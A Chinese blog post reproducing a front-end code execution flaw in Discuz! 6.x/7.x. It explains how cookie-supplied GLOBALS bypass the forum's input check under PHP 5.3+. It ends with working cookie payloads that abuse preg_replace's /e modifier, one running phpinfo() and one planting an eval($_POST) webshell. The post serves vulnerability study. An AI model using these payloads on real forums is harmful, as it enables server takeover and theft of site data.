美文网首页
discuz!6.x/7.x漏洞复现(一)

discuz!6.x/7.x漏洞复现(一)

作者: sum3mer | 来源:发表于2017-07-19 10:33 被阅读0次

    Discuz! 6.x/7.x 版本 前台任意代码执行漏洞

    转自:https://paper.tuisec.win/detail.jsp?id=f2d8440d77e2c7f

    漏洞原理:

    由于php 5.3.x及以上版本里php.ini里设置的request_order默认为GP,即$request[]指的是GET和POST,而不包括cookie,导致Discuz! 6.x/7.x 版本利用全局变量防御绕过漏洞

    在dz的源代码里,在GPC为off时,GPC为(GET、POST、COOKIE)1时,为$_GET\$_POST\$_COOKIE中的',''等自动转义,而在GPC为0时用addslashes进行转义。在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:

    if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {

    exit('Request tainting attempted.');

    }

    但在php5.3.x及以上版本中,request_order默认为GP,因此利用COOKIE值可以绕过

    漏洞位置:include/discuzcode.func.php
    $message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);

    请求中Cookie带

    GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

    GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[123])%3B;

    相关文章

      网友评论

          本文标题:discuz!6.x/7.x漏洞复现(一)

          本文链接:https://www.haomeiwen.com/subject/psvhkxtx.html